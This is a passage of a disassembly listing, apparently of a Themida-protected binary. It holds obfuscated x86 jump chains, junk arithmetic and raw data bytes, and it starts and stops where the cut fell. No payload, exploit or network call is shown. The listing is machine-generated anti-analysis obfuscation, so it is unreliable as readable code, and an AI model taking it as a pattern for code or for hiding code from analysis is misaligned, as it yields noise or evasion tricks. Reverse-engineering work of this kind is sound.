6C8A6FF4h sub ebp, 45464EA1h add ebp, 1589418Bh add ebp, ecx sub ebp, 1589418Bh add ebp, 45464EA1h push ecx jmp loc_554609 ; --------------------------------------------------------------------------- loc_563EF1: ; CODE XREF: Themida_:00565BE6j add esp, 4 and eax, edi mov edi, [esp] add esp, 4 shr eax, 18h xor eax, ecx jmp loc_560F74 ; --------------------------------------------------------------------------- aRs_3 db '^Ré',0Dh,'!',0 align 10h loc_563F10: ; CODE XREF: Themida_:005562F2j xchg edi, [esp] mov esp, [esp] mov [esp], edx mov dl, 22h push small 0A41h jmp loc_5541C0 ; --------------------------------------------------------------------------- loc_563F24: ; CODE XREF: Themida_:0055D9F0j shl esi, 4 add esi, 43D12A90h not esi and esi, 3C3966D3h push edx mov edx, 4F4B1B25h shl edx, 3 jmp loc_561D00 ; --------------------------------------------------------------------------- db 51h dd 3CE7B850h, 524848AEh, 7855DBBAh, 4E2C172h, 0E2C1DAF7h dd 9FCA8106h, 8146AD3Fh, 9F65D7C2h, 4DEA8123h, 56C4B35h dd 1FAA52B9h, 0B92DD029h, 5A1FAA52h, 0C158C189h, 0EC8308E1h dd 24148904h, 22286850h, 0E9581012h, 0FFFF0F7Ah, 0B3E9D029h dd 87FFFFC6h, 8EE92404h, 5CFFFFDCh, 50242489h, 4B8h, 24440100h dd 34FF5804h, 24048B24h, 0E904C483h, 0FFFF890Eh ; --------------------------------------------------------------------------- loc_563FBC: ; CODE XREF: Themida_:0055BA26j mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_5533E5 ; --------------------------------------------------------------------------- loc_563FCD: ; CODE XREF: Themida_:00559C5Bj pop ebp jmp loc_5564AD ; --------------------------------------------------------------------------- dd offset dword_5AAB68 align 4 dd 51242489h, 4B9h, 244C0100h, 48B5904h, 0FB33E924h, 815AFFFFh dd 4C4h, 84EBE900h, 0EC83FFFFh, 241C8904h, 0FFEC4FE9h dd 0FFFF05FFh, 5535FFFFh, 353FF827h, 43DE74E1h, 7BC4EA81h dd 0C2010794h, 7BC4C281h, 55E90794h, 0BBFFFF8Fh, 5FBF3A15h dd 36DB850h, 0C3213F54h, 7B12E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56403A: ; CODE XREF: Themida_:00562AC5j add esi, ebx mov ebx, [esp] add esp, 4 xchg esi, [esp] jmp loc_566F6E ; --------------------------------------------------------------------------- dw 0F758h dd 0FFEF83D7h, 0F831C731h, 0E883C731h, 0BA5297FFh, 1AF42CE4h dd 0FF7579E9h db 0FFh ; --------------------------------------------------------------------------- loc_564065: ; CODE XREF: Themida_:0055F884j sub ebx, 63BC5193h pop edi push esi push edx jmp loc_55C081 ; --------------------------------------------------------------------------- db 89h dd 0D6295DEAh, 0FF4D3BE9h, 5A5452FFh, 4BE56h, 0F2010000h dd 0FFC2E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_56408D: ; CODE XREF: Themida_:00557CA6j xor ebp, 0EE02F757h add ebx, 597E3EB0h jmp loc_556B41 ; --------------------------------------------------------------------------- loc_56409E: ; CODE XREF: Themida_:005533D5j mov edi, ebx pop ebx add esi, edi jmp loc_56014C ; --------------------------------------------------------------------------- dd 2434FF5Fh, 8B2434FFh, 0CAE9242Ch, 1FFFF22h, 0F495E9DDh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5640BE: ; CODE XREF: Themida_:00555D01j xor ebp, 4E576D00h push ebx jmp loc_55F04B ; --------------------------------------------------------------------------- dw 0FDBDh dd 4D42363Fh, 0FF1970E9h, 2C895CFFh, 2DBF5724h, 0C1340D35h dd 814F06E7h, 0EF56D8F7h, 8BFD8903h, 0C483243Ch, 81DDF704h dd 4F7451F5h, 0D7F5811Dh, 81F308FAh, 567E20C5h, 4EC8121h dd 89000000h, 0A5BE2434h, 0E9012362h, 23F8h ; --------------------------------------------------------------------------- loc_564118: ; CODE XREF: Themida_:0055E628j sub esi, 53BA5C94h add esi, 3307249Fh add esi, edi sub esi, 3307249Fh add esi, 53BA5C94h mov edi, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] or edx, eax jmp loc_55534E ; --------------------------------------------------------------------------- db 0F7h dd 6E60E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564152: ; CODE XREF: Themida_:005651D1j dec eax sub eax, 34DC7A73h shl eax, 1 add eax, 9AD0DCC6h add ebp, eax pop eax mov ecx, [esp] jmp loc_55382D ; --------------------------------------------------------------------------- loc_56416A: ; CODE XREF: Themida_:005651F3j pop esp loc_56416B: ; CODE XREF: Themida_:0055834Bj ; Themida_:0055E10Ej push eax push ebp push 7887368Fh pop ebp push edx mov edx, 46EC5E81h xor edx, 74B73773h sub ebp, edx jmp loc_55758E ; --------------------------------------------------------------------------- loc_564186: ; CODE XREF: Themida_:005615AFj push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push ebp jmp loc_5630A9 ; --------------------------------------------------------------------------- db 89h dd 0BD55240Ch, 6E6B3015h, 21E5814Dh, 811A9636h, 0E34678F5h dd 0E9D5F76Ah, 0FFFFBB57h, 2BB535Ch, 1000000h, 2434FFDFh dd 3232E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5641CA: ; CODE XREF: Themida_:0055EA0Fj or ebx, edx pop edx and ebx, 7CFE7B1Ah xor ebx, 367530AAh shr ebx, 4 add ebx, 0FD584F7Ah sub eax, 2A545529h jmp loc_553A93 ; --------------------------------------------------------------------------- loc_5641EC: ; CODE XREF: Themida_:00555EF0j push eax mov al, dl mov ch, al pop eax pop edx mov bl, ch mov ecx, [esp] add esp, 4 push ecx push edx mov dh, bl mov ch, dh pop edx jmp loc_556EED ; --------------------------------------------------------------------------- dw 8966h dd 50662414h, 9684E99Ch, 0C8BFFFFh, 190FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56421E: ; CODE XREF: Themida_:00563CD1j pop ecx add esp, 4 push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_562FE5 ; --------------------------------------------------------------------------- dw 8368h dd 89000064h, 0BE562404h, 381E7AFFh, 0FC66EE81h, 0F089C2CBh dd 0BBC355Eh, 0C129385Bh, 26BE5658h, 1101976h, 685F5EF1h dd 21CBh, 0B8240489h, 0C74FEFEEh, 6858C129h, 760Fh, 0FF34D7E9h dd 243C8BFFh, 8667E955h, 0C481FFFFh, 4, 0FF75FEE9h, 58C301FFh dd 4C381h, 1C870000h, 24248B24h, 4EC81h, 34890000h, 5BA8BE24h dd 0E6C134F9h, 24CE8108h, 81134119h, 4E5C02EEh, 5EF131A7h dd 82C68h, 240C8900h, 0D5242C81h, 8B45521Bh, 0C483241Ch dd 0D5C38104h, 8B45521Bh, 5457240Ch, 4C7815Fh, 81000000h dd 4C7h, 243C8700h, 5624248Bh, 0DA1D0568h, 31B7E976h, 1EB00000h dd 2858C388h, 2C5B66D8h, 241C8B91h, 2A7EE9h db 0 ; --------------------------------------------------------------------------- loc_564309: ; CODE XREF: Themida_:005668BBj push 42B8h mov [esp], ecx mov ch, bh mov dl, ch pop ecx jmp loc_564403 ; --------------------------------------------------------------------------- loc_56431B: ; CODE XREF: Themida_:0055514Aj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5571DA ; --------------------------------------------------------------------------- db 0BDh dd 0E8431BDh, 8431BFBFh, 0E9EF310Eh, 0FFFFA05Ah ; --------------------------------------------------------------------------- loc_564340: ; CODE XREF: Themida_:005558CAj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_55EB79 ; --------------------------------------------------------------------------- db 56h dd 0FFD165E9h, 240487FFh, 2E9C15Ch, 0FF29FAE9h, 241489FFh dd 0FF7B9FE9h, 0BB5342FFh, 0CCAE8661h, 0FEFAF1E9h db 0FFh ; --------------------------------------------------------------------------- loc_564375: ; CODE XREF: Themida_:00553D3Bj add esp, 4 push ebx mov ebx, 5D151AC0h push eax mov eax, 0E2B50E48h sub ebx, eax mov eax, [esp] add esp, 4 jmp loc_56511C ; --------------------------------------------------------------------------- db 53h dd 4524CF68h, 5A4AE902h, 489FFFFh, 24048B24h, 0FEFB58E9h dd 243489FFh, 20F8BA52h, 8E680EBBh, 5E342862h, 0C681D6F7h dd 4C9FEBBDh, 0F75AD629h, 0D2A9E9D6h, 0BE56FFFFh, 4971776Bh dd 0C247401h, 0E95F5F5Eh, 0FFFFE65Ch ; --------------------------------------------------------------------------- loc_5643E0: ; CODE XREF: Themida_:005567C8j push eax push ebx sub dword ptr [esp], 2D87D0Bh pop eax add eax, 2D87D0Bh mov ebp, eax jmp loc_55A974 ; --------------------------------------------------------------------------- loc_5643F6: ; CODE XREF: Themida_:00565AC2j mov ecx, esp add ecx, 4 jmp loc_55F7E2 ; --------------------------------------------------------------------------- loc_564403: ; CODE XREF: Themida_:00564316j pop bx jmp loc_567537 ; --------------------------------------------------------------------------- dw 0DF89h dd 8B5FFA89h, 8956241Ch, 4C681E6h, 81000000h, 4C6h, 13E95600h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564427: ; CODE XREF: Themida_:0055D06Aj xor [esp+4], edx pop edx pop edi sub esp, 4 mov [esp], ecx jmp loc_55B60B ; --------------------------------------------------------------------------- dd 0B60F6664h, 4EC8102h, 89000000h, 6FE9243Ch, 8BFFFFB0h dd 0C4832404h, 0C432504h, 0E953749Dh, 0FFFF732Eh ; --------------------------------------------------------------------------- loc_56445C: ; CODE XREF: Themida_:0055AFCFj mov esp, [esp] idiv cl movzx cx, ah push small 7E3Dh mov [esp], cx movzx cx, al push cx pushf jmp loc_558C5B ; --------------------------------------------------------------------------- db 51h, 68h, 9Ah dd 0E93E750Eh, 0FFFEF89Ah, 0DF1CE9ACh, 5157FFFFh, 0FF7E71E9h dd 0E68956FFh, 0FFDA09E9h db 0FFh ; --------------------------------------------------------------------------- loc_564499: ; CODE XREF: Themida_:00559290j sub eax, ebx pop ebx xchg eax, [esp] pop esp mov [esp], ebp push edx pop ebp push esi mov esi, ebp mov eax, esi pop esi pop ebp push dword ptr [esp] pop edx add esp, 4 push 3B0h mov [esp], esi mov esi, 7A0A07E2h xor esi, 273E2124h push edi push eax push 69342089h pop eax inc eax add eax, 0B7994E27h jmp loc_56034B ; --------------------------------------------------------------------------- dd 54B5E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644E2: ; CODE XREF: Themida_:005622A5j pop esp push dword ptr [esp] pop ecx add esp, 4 add [esp+4], edx jmp loc_553657 ; --------------------------------------------------------------------------- db 81h dd 0F450AEBh, 7B1AE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644FE: ; CODE XREF: Themida_:00556854j push ebp pop ecx mov eax, ecx pop ecx push dword ptr [esp] pop ebp sub esp, 4 mov [esp], eax jmp loc_56129D ; --------------------------------------------------------------------------- loc_564512: ; CODE XREF: Themida_:0055391Cj mov edi, [esp] add esp, 4 jmp loc_559684 ; --------------------------------------------------------------------------- dd 4C481h, 0BB530000h, 2, 0B5AB951h, 79E9097Bh, 58FFFF2Ah dd 815B5453h, 4C3h, 4C38300h, 5C241C87h, 0FFE084E9h, 0D830ACFFh dd 0FFBD61E9h, 0D6F75EFFh, 0EE83DEF7h, 1C683FFh, 0FF11B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_564565: ; CODE XREF: Themida_:00562DFAj add bl, 0E4h jmp loc_556096 ; --------------------------------------------------------------------------- db 81h, 0E5h, 9Bh dd 0C15A860Ah, 0EC8103EDh, 4, 0E9240C89h, 0FFFFD94Dh, 3E4AE5BEh dd 1F7BE976h, 0C181FFFFh, 4, 0E9240C87h, 0FFFFA59Fh ; --------------------------------------------------------------------------- loc_56459C: ; CODE XREF: Themida_:0056098Fj push ecx mov ecx, esp add ecx, 4 push eax mov eax, 6E314E24h jmp loc_5647D7 ; --------------------------------------------------------------------------- dd 1B5860BBh, 0FFD8313Eh, 575B2434h, 0C781E789h, 4, 0E904C783h dd 0FFFF7F46h, 33243C31h, 895C243Ch, 0D1682414h, 5400001Ah dd 8124048Fh, 42404h, 555A0000h, 468h, 0EA015D00h, 4C2835Dh dd 0FF4813E9h, 1B850FFh, 2533C608h, 58857252h, 651E5A35h dd 0F4212D13h, 0C7219493h, 0A6BB5358h, 0E9280F22h, 0FFFF6E2Fh dd 42474FFh, 0E92434FFh, 0FFFEEE7Ah ; --------------------------------------------------------------------------- loc_564628: ; CODE XREF: Themida_:00560645j push 3FEFh mov [esp], edx push ebx push ecx pop ebx push esi mov esi, ebx mov edx, esi pop esi pop ebx push 5D33h jmp loc_553B8A ; --------------------------------------------------------------------------- dd 891AF9BFh, 0E9C73158h, 0FFFFF9FAh, 5C241C33h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx jmp loc_5539F7 ; --------------------------------------------------------------------------- loc_564663: ; CODE XREF: Themida_:00561234j push 512Eh jmp loc_5611E0 ; --------------------------------------------------------------------------- loc_56466D: ; CODE XREF: Themida_:00561B17j xor [esp], ebx jmp loc_566942 ; --------------------------------------------------------------------------- loc_564675: ; CODE XREF: Themida_:0055B9AFj not dword ptr [esp] jmp loc_559374 ; --------------------------------------------------------------------------- db 89h, 14h, 24h aM_1 db 'º=Œ#',0 db 0E9h, 8Dh, 7Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56468A: ; CODE XREF: Themida_:005618B7j mov ebp, 4 jmp loc_55BD95 ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 4E12BE24h, 4FE941CBh, 0B4FFFF19h dd 66E52852h, 0E8885058h, 13E9C788h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5646B7: ; CODE XREF: Themida_:00562A37j xor edx, 0D4E0ECh add esi, 2C5D6F3Fh jmp loc_5591AC ; --------------------------------------------------------------------------- dd 1772EA81h, 0EA817BE5h, 620A2130h, 0BF57C201h, 4E735B43h dd 0FF84D3E9h, 5EF209FFh, 5607EAC1h, 13C5BF57h, 0EF81795Fh dd 123218F2h, 0FF2247E9h, 0EC8158FFh, 4, 0BA241489h, 40C2508Dh dd 6FA68h, 243C8900h, 3D43BD55h, 88E9483Ah db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56471B: ; CODE XREF: Themida_:0055D7C3j push dword ptr [esp] pop ebx add esp, 4 jmp loc_5565E0 ; --------------------------------------------------------------------------- loc_564727: ; CODE XREF: Themida_:005630C2j push ecx jmp loc_566680 ; --------------------------------------------------------------------------- loc_56472D: ; CODE XREF: Themida_:0055375Ej add ebx, 2 xchg ebx, [esp] mov esp, [esp] add bl, 64h push edx mov dh, 0C9h jmp loc_55825B ; --------------------------------------------------------------------------- db 0BDh, 0BAh, 45h dd 0E5C17A65h, 0B4F58107h, 455EBB3Ch, 0FFE2D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_564755: ; CODE XREF: Themida_:0055487Aj pop esp mov [esp], eax jmp loc_561BFB ; --------------------------------------------------------------------------- loc_56475E: ; CODE XREF: Themida_:005648AEj mov edi, [esp] add esp, 4 push edi xchg esi, [esp] not esi xchg esi, [esp] jmp loc_5633FD ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 6EAF68h, 241C8900h, 0FF69AAE9h, 243C87FFh, 0FF2D60E9h dd 5B41BFFFh, 0F78175DBh, 18186CE9h, 603BBE56h, 0F2E95870h dd 83000016h, 0CE904C4h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647AB: ; CODE XREF: Themida_:0055ED45j mov edi, 2 add ebp, edi jmp loc_55DF4E ; --------------------------------------------------------------------------- loc_5647B7: ; CODE XREF: Themida_:0055326Dj push 193Eh jmp loc_55FDB7 ; --------------------------------------------------------------------------- loc_5647C1: ; CODE XREF: Themida_:0055476Cj push 61B3h jmp loc_5583EA ; --------------------------------------------------------------------------- loc_5647CB: ; CODE XREF: Themida_:00567D14j push edi push 5D202E78h pop edi jmp loc_561468 ; --------------------------------------------------------------------------- loc_5647D7: ; CODE XREF: Themida_:005645ABj add eax, 32BA1C34h sub eax, 6F72568Dh neg eax jmp loc_55B6FB ; --------------------------------------------------------------------------- dd 0B0240489h, 80F2B65Bh, 0F6804DCEh, 0E9C6FE2Eh, 0FFFF46EEh dd 240C8B66h, 0FEEECAE9h db 0FFh ; --------------------------------------------------------------------------- loc_564805: ; CODE XREF: Themida_:0055D9E2j push ebp mov ebp, esp jmp loc_554260 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXhS db 'Xh;S',0 align 2 dw 1489h dd 0E9E28924h, 1F48h, 2414F753h, 0FFD830E9h, 243489FFh dd 0C681E689h, 4, 25E95153h, 0FFFEFDh, 0D12858E2h, 0E9CB005Ah dd 0FFFF292Ch, 612AC581h, 0E95521ACh, 2F6Ah, 4C6815Ch dd 0E9000000h, 0FFFF5BBCh ; --------------------------------------------------------------------------- loc_564860: ; CODE XREF: Themida_:00561647j add esi, 4 push edx mov edx, 2CDA305Ah push ebx mov ebx, 7D8600D5h sub ebx, 4620E959h jmp loc_55EBF7 ; --------------------------------------------------------------------------- loc_56487D: ; CODE XREF: Themida_:00564F21j xor edx, ebx jmp loc_557B9F ; --------------------------------------------------------------------------- loc_564884: ; CODE XREF: Themida_:0055CF10j neg esi sub esi, 21BE7C2Ah jmp loc_55B568 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 81000000h, 4C1h, 240C8700h, 26E6E9h db 0 ; --------------------------------------------------------------------------- loc_5648A5: ; CODE XREF: Themida_:0055678Bj sub edx, ebp pop ebp jmp loc_559A77 ; --------------------------------------------------------------------------- loc_5648AD: ; CODE XREF: Themida_:00564D25j pop esp jmp loc_56475E ; --------------------------------------------------------------------------- db 0B9h dd 5B311D8Bh, 8FBE5653h, 895B311Dh, 24348BF3h, 4C481h dd 0DF890000h, 8425E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5648D2: ; CODE XREF: Themida_:005531C3j xchg edi, esi jmp loc_55FFD5 ; --------------------------------------------------------------------------- loc_5648D9: ; CODE XREF: Themida_:005657EEj sub ebx, 104C75EDh add edi, 105E00B4h add edi, ebx sub edi, 105E00B4h pop ebx add esi, edi pop edi sub esi, 0A25445BEh add edi, esi pop esi add edi, 4 xchg edi, [esp] mov esp, [esp] idiv ecx push 14A2h mov [esp], edx push eax pushf jmp loc_552C38 ; --------------------------------------------------------------------------- loc_564917: ; CODE XREF: Themida_:0055843Dj mov [esp], ebp push 5D78693Ah pop ebp jmp loc_5552ED ; --------------------------------------------------------------------------- db 81h, 0C4h, 2 dd 28000000h, 240C8BC8h, 404C483h, 2CD800AAh, 837204AAh dd 896602ECh, 7FE9240Ch, 58FFFF1Ch, 6859CB88h, 4C81h, 0B5240C89h dd 0B7536679h, 66F82899h, 0C2C5Bh, 40C04E8h, 2434FF99h dd 81240C8Bh, 4C4h, 0EACCE900h, 32FFFFFEh, 0FEE2BBE9h dd 84C381FFh, 8114650Ch, 960CF6EBh, 81EB015Eh, 960CF6C3h dd 84BD555Eh, 2914650Ch, 2C8B5DEBh, 6509E924h, 0CE81FFFFh dd 2D36268Ah, 0DD6E9h db 0 ; --------------------------------------------------------------------------- loc_5649AD: ; CODE XREF: Themida_:00554777j push dword ptr [esp] pop ebx push esi jmp loc_558058 ; --------------------------------------------------------------------------- loc_5649B7: ; CODE XREF: Themida_:0055BD73j pop edi push edx mov edx, 4 jmp loc_553F6A ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFEE812h, 9509E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5649D2: ; CODE XREF: Themida_:005611ECj not cl add cl, 0F4h dec cl push eax mov ah, 0DBh add cl, ah pop eax xor cl, 0ADh mov bl, cl jmp loc_553AC9 ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 1000000h, 25EBE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5649F6: ; CODE XREF: Themida_:005654A4j mov edi, [esp] add esp, 4 jmp loc_561EBA ; --------------------------------------------------------------------------- loc_564A01: ; CODE XREF: Themida_:00558EE5j mov eax, 403643ECh add esi, eax pop eax jmp loc_55E497 ; --------------------------------------------------------------------------- loc_564A0E: ; CODE XREF: Themida_:00559627j pop ecx push 1CC2h mov [esp], ebx jmp loc_55E94E ; --------------------------------------------------------------------------- dd 88E901B5h, 83FFFF5Ah, 0C78304C4h, 243C3302h, 33243C31h dd 0E95C243Ch, 0FFFF3B9Bh, 7406F368h, 0E828E914h, 6857FFFFh dd 6E4A5A41h, 0FFBBA4E9h, 0A9C381FFh, 312F4270h, 0D1095BDAh dd 0A3F1815Ah, 816EDF4Fh, 0EE4AA6C2h, 81CA015Ch, 0EE4AA6EAh dd 240C8B5Ch, 4C481h, 0C2810000h, 2, 31241433h, 0CAE92414h dd 81FFFFC1h, 105B14C7h, 4BEF812Eh, 0E96AEC1Bh, 0FFFFBA6Bh dd 24048B66h, 3556856h, 24890000h, 24048124h, 4, 0E92434FFh dd 0FFFF6FF0h, 0D0D2E948h, 335BFFFFh, 2C31242Ch, 77F8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564AC6: ; CODE XREF: Themida_:00560FC8j mov ecx, esp add ecx, 4 push edx jmp loc_56528A ; --------------------------------------------------------------------------- loc_564AD4: ; CODE XREF: Themida_:00553933j mov ebx, edi pop edi push edx mov edx, 2EDF570Ch and ebx, edx jmp loc_556577 ; --------------------------------------------------------------------------- loc_564AE4: ; CODE XREF: Themida_:005556EAj push ebp pop ecx mov ebp, [esp] add esp, 4 sub [edi+24h], ecx jmp loc_555BE6 ; --------------------------------------------------------------------------- dd 0EB81DBF7h, 21165AB8h, 1C8BD831h, 4C48124h, 1000000h dd 0C304E9C1h, 505FFFFFh, 4F5E68B8h, 0EE73E95Bh, 0E2C1FFFFh dd 58CA8104h, 0E93F9C2Ch, 0FFFF9F76h ; --------------------------------------------------------------------------- loc_564B28: ; CODE XREF: Themida_:00560D6Aj push ebx mov ebx, 2 mov edi, ebx pop ebx add ecx, 22513978h add ecx, 51274CA1h sub ecx, 2C5B6980h sub ecx, edi add ecx, 2C5B6980h sub ecx, 51274CA1h sub ecx, 22513978h push dword ptr [esp] pop edi push edi mov edi, esp jmp loc_56575B ; --------------------------------------------------------------------------- loc_564B63: ; CODE XREF: Themida_:005613B4j mov edi, 2A52B1Fh shl edi, 5 neg edi jmp loc_55961B ; --------------------------------------------------------------------------- loc_564B72: ; CODE XREF: Themida_:0055DD33j mov al, dl jmp loc_553BB5 ; --------------------------------------------------------------------------- db 0BFh, 6Eh, 68h dd 33BE5440h, 1F9CFD8h, 0E9525FFEh, 0FFFFB853h, 0CB0F150Dh dd 73BD5534h, 1F8899Dh, 0C3815DE8h, 30984477h, 0EB81C329h dd 30984477h, 240C8B58h, 5504C483h, 4BDh, 5DEB2900h, 0E9241C33h dd 0FFFF5F70h, 1E61C681h, 555A334Dh, 0B4EE9h db 0 ; --------------------------------------------------------------------------- loc_564BCD: ; CODE XREF: Themida_:00557E52j mov esi, 5BC0607Ch xor esi, 0EEDA92B8h xor ecx, esi pop esi push 6AB2h mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_5587DC ; --------------------------------------------------------------------------- dw 489h dd 4B824h, 0ECE90000h, 66FFFF53h, 1EB96651h, 0CA01669Fh dd 57665966h, 0CD4BF66h, 66F82966h, 0DE2D665Fh, 692D660Fh dd 0D0016675h, 75690566h, 0FDE0566h, 0CD40566h, 0FFCF71E9h db 0FFh ; --------------------------------------------------------------------------- loc_564C35: ; CODE XREF: Themida_:00555ECBj mov edi, [esp] add esp, 4 and edi, 29DE6A2Eh xor edi, 28221CA9h add ecx, edi pop edi jmp loc_567166 ; --------------------------------------------------------------------------- loc_564C52: ; CODE XREF: Themida_:0056668Bj xchg ecx, [esp] pop esp mov [esp], ecx push eax mov eax, 474D1D07h jmp loc_56115D ; --------------------------------------------------------------------------- dd 0B50AB4B8h, 0F9D6E95Ah, 0BD55FFFFh, 27450756h, 2C8BEB01h dd 4C48324h, 0C15BDA89h, 0E2C108EAh, 0C24CE908h, 0E8C1FFFFh dd 0BF575003h, 1, 0FEFAE3E9h, 24048BFFh, 6804C483h, 77A9h dd 0B9240C89h, 49FB0519h, 0D4E98141h, 81586742h, 513498F1h dd 81D1F70Dh, 0FCE2E9E9h, 0DC63E9B7h, 0C381FFFFh, 0D1808B5h dd 13EE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564CD2: ; CODE XREF: Themida_:0055F0F5j mov edx, esi mov esi, [esp] add esp, 4 shr edx, 8 shl edx, 7 and edx, 41807AB6h shr edx, 1 jmp loc_568189 ; --------------------------------------------------------------------------- dd 4E981h, 7E90000h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564CFB: ; CODE XREF: Themida_:0056214Cj xor [esp], ebp xor ebp, [esp] mov esp, [esp] push edx push esp jmp loc_5611CB ; --------------------------------------------------------------------------- loc_564D0B: ; CODE XREF: Themida_:0055FC7Dj mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_552C38 ; --------------------------------------------------------------------------- loc_564D17: ; CODE XREF: Themida_:0055C7F8j add edi, ebx mov ebx, [esp] add esp, 4 xchg edi, [esp] jmp loc_5648AD ; --------------------------------------------------------------------------- dw 0C483h dd 8BD02104h, 0AE682414h, 0E900002Bh, 0FFFF7690h, 26E9E688h dd 81FFFEE6h, 58457BC6h, 0B0CE815Eh, 0E92C456Bh, 0FFFF71D5h dd 5C243C87h, 0E9242C89h, 1205h, 0F646EE80h, 3E6C0D6h dd 0C680C6FEh, 5AF00063h, 0A7E9FF04h, 8BFFFF74h, 65E9241Ch dd 5CFFFFAFh, 0FFAA3AE9h, 561868FFh, 6E90000h, 31FFFFCDh dd 0BB24E9D7h, 77FFFFFFh, 58669D1Ch, 24041966h, 0DE92E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564DA6: ; CODE XREF: Themida_:0055B536j sub edi, 62435138h add edi, eax add edi, 62435138h push 4F0Ch mov [esp], esi mov esi, 16BD37C4h jmp loc_5617C1 ; --------------------------------------------------------------------------- dw 1487h dd 1619E924h, 0E95EFFFFh, 0FFFF182Dh, 767FC5BFh, 1A0CE96Dh dd 4B80000h, 81000000h, 172651C1h, 81C10158h, 172651E9h dd 90E95858h, 8B00000Bh, 0C4832434h, 0E8016604h, 9028E952h dd 48FFFFFh, 24248B24h, 0FFF591E9h, 1C77FFFFh, 0D259669Dh dd 0E99C2414h, 0FFFEDE18h ; --------------------------------------------------------------------------- loc_564E20: ; CODE XREF: Themida_:0055FED9j push eax mov eax, 28F905DBh dec eax jmp loc_556859 ; --------------------------------------------------------------------------- dd 1C8BDF29h, 4C48124h, 5000000h, 4BDD4AB6h, 0B62DF801h dd 8B4BDD4Ah, 0C483243Ch, 2434FF04h, 0FF3483E9h, 242C33FFh dd 0FF381CE9h, 46B568FFh, 24890000h, 20C36824h, 2C890000h dd 4BD24h, 75E90000h, 87FFFF96h, 248B241Ch, 8BF03124h dd 0C4812434h, 4, 4EC81h, 1C890000h, 1047E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564E92: ; CODE XREF: Themida_:005576C6j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_55D7B7 ; --------------------------------------------------------------------------- loc_564EA6: ; CODE XREF: Themida_:0055D23Aj dec ebx sub ebx, 162502D5h dec ebx not ebx xor ebx, 95AFB4D2h jmp loc_554DC3 ; --------------------------------------------------------------------------- db 21h dd 0C68359CEh, 5BB5301h, 29054000h, 0EB815BDEh, 40EB36F5h dd 6ECAEB81h, 0F1E97291h, 4DFFFF62h, 56A9BE56h, 0EE811727h dd 64703405h, 0EB67EE81h, 68E99AA7h db 0F8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564EF3: ; CODE XREF: Themida_:00557EB4j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5675EA ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 8BD02904h, 0C4832414h, 2F29E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564F12: ; CODE XREF: Themida_:00561428j sub edx, eax pop eax xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 4DB85B97h jmp loc_56487D ; --------------------------------------------------------------------------- dw 0D029h dd 0FF2905E9h, 2434FFFFh, 26FDE9h, 48B6600h, 4EC8124h dd 89000000h, 0E0892404h, 405h, 48D46800h, 34890000h, 0E9555324h dd 0FFFF4543h ; --------------------------------------------------------------------------- loc_564F58: ; CODE XREF: Themida_:0055E6A9j sub ebx, 470B2750h push edi mov edi, 4E9F2A9Fh jmp loc_55B658 ; --------------------------------------------------------------------------- loc_564F69: ; CODE XREF: Themida_:0055EA99j mov [esp], eax mov eax, 20AC207Ah jmp loc_55B64F ; --------------------------------------------------------------------------- loc_564F76: ; CODE XREF: Themida_:00555565j pop ebx jmp loc_555033 ; --------------------------------------------------------------------------- dd 0CB3B38BBh, 4A54E90Bh, 0E189FFFFh, 4C181h, 0C1810000h dd 4, 5C240C87h, 0DA4B951h, 0C1814938h, 0E995768h, 0A6E9CF09h dd 6600002Bh, 52240C8Bh, 24148B54h, 4C481h, 0BD550000h dd 4, 685DEA01h, 6AEFh, 68243C89h, 3E03h, 0E9240489h, 0FFFFFC8Ch dd 5366F488h, 0CBFEE388h, 88DD8851h, 7C10E9ECh, 489FFFFh dd 12EBE924h, 74FFFFFFh, 3C8B0424h, 4C48124h, 8F000000h dd 895C2404h, 0F368242Ch, 89000009h, 4832424h, 34FF0424h dd 0C4835D24h, 4C58104h, 81000000h, 4ECh, 2DB7E900h, 34FFFFFFh dd 2434FF24h, 